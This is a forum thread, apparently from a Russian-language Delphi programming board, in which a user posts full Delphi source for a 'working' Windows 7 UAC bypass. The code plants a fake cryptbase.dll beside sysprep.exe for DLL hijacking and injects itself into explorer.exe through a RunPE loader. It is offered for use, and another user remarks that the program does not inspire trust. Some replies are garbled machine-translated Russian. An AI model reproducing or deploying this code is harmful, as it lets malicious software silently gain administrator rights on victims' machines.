UAC Bypass (Working)

[Delphi.Coder]

Found a great way to bypass UAC, Tested on Windows 7 x86.

Just wanted to share, Take a look at the .txt, It was to many characters for me to post

This RunPE is necessary (uExecFromMem): http://www.delphibasics.info/home/de...n7x64bytestest

[Stilet]

Почему не на русском языке? Форум русскоязычный же.

[Delphi.Coder]

Im sorry man, Its just i find these russian forums more helpful than american forums. I just wanted to share it with you guys, its new. i only speak a little russian

Им жаль мужчина, Его просто я нахожу эти русские форумов более полезным, чем американских форумах. Я просто хотел поделиться им с вами, ребята, его новая. я только немного говорю по России

[Stilet]

Хм. Ну в общем на всякий случай будь готов к тому что тебя не поймут.

[Delphi.Coder]

О нет, ее очень легко понять. Исходный код рецептура..не русский. Bablon помогает мне на вещи, на которые я надзирательница еще. Но обмен мгновенными сообщениями с помощью Rosetta stone сейчас и узнайте российская

[Delphi.Coder]

Сообщение от Delphi.Coder

Found a great way to bypass UAC, Tested on Windows 7 x86.

Just wanted to share, Take a look at the .txt, It was to many characters for me to post

This RunPE is necessary (uExecFromMem): http://www.delphibasics.info/home/de...n7x64bytestest

Function mFileToStr(Ruta: ansistring): ansistring;
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  Result:= '';
  sFile := _lopen(PansiChar(Ruta), OF_READ);
  uBytes := GetFileSize(sFile, nil);
  SetLength(Result, uBytes);
  _lread(sFile, @Result[1], uBytes);
  _lclose(sFile);
end;

Procedure mWriteFileFromStr(Cadena, Ruta: ansistring);
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  sFile := _lcreat(PansiChar(Ruta), 0);
  uBytes := Length(Cadena);
  _lwrite(sFile, @Cadena[1], uBytes);
  _lclose(sFile);
end;

function IsUserAnAdmin: integer; external 'shell32';

Function Bypass: bool;
var
  Yo: ansistring;
  DllD: ansistring;
  psinfo: pshellexecuteinfow;
  tmpdir: array [0..MAX_PATH] of char;
  windir: array [0..MAX_PATH] of char;
  sysdir: array [0..MAX_PATH] of char;
  tmp: string;
  sys: string;
  win: string;
  sysprp: string;
begin
  Result:= False;
  GetTempPath(MAX_PATH, tmpdir);
  GetSystemDirectory(sysdir, MAX_PATH);
  GetWindowsDirectory(windir, MAX_PATH);
  win:= windir + '\explorer.exe';
  sys:= sysdir + '\sysprep\cryptbase.dll';
  sysprp:= sysdir + '\sysprep\sysprep.exe';
  tmp := tmpdir + 'cryptbase.dll';

  if isuseranadmin = 1  then
    begin
      Result:= True;
      while fileexists(sys) do
        deletefile(sys);
      deletefile(tmp);
    end
    else
    begin
      if ansiuppercase(ExtractFileName(paramstr(0))) <> 'EXPLORER.EXE' then
        begin
          Yo:= mfiletostr(paramstr(0));
          SetLength(DllD, SizeOf(DllDummy));
          CopyMemory(@DllD[1], @DllDummy[0], SizeOf(DllDummy));
          mWriteFileFromStr(DllD, tmp);
          ExecuteFromMem(win, paramstr(0), @FOp[0]);
          ExecuteFromMem(win, paramstr(0), @Yo[1]);
          exitprocess(0);
        end
        else
        begin
          New(psInfo);
          psinfo.cbSize:= sizeof(shellexecuteinfo);
          psinfo.fMask:= SEE_MASK_INVOKEIDLIST;
          psinfo.lpVerb:= 'open';
          PSINFO.lpFile:= PCHAR(sysprp);
          psinfo.lpParameters:= pchar(paramstr(1));
          psinfo.nShow:= SW_SHOWNORMAL;
          shellexecuteexw(psinfo);
          exitprocess(0);
        end;
    end;
end;

[XE5]

Delphi.Coder
russian uac.txt

???? Unit1 ;

?????????

?????????????
Winapi.Windows , Winapi.Messages , System.SysUtils , System.Variants , System.Classes , Vcl.Graphics ,
Vcl.Controls , Vcl.Forms , Vcl.Dialogs , Vcl.StdCtrls , uexecfrommem , winapi.ShellAPI ;

[Stilet]

Что-то эта программа доверия не внушает.

[Delphi.Coder]

почему вы говорите, что друг?

[Stilet]

что друг?

What?
.....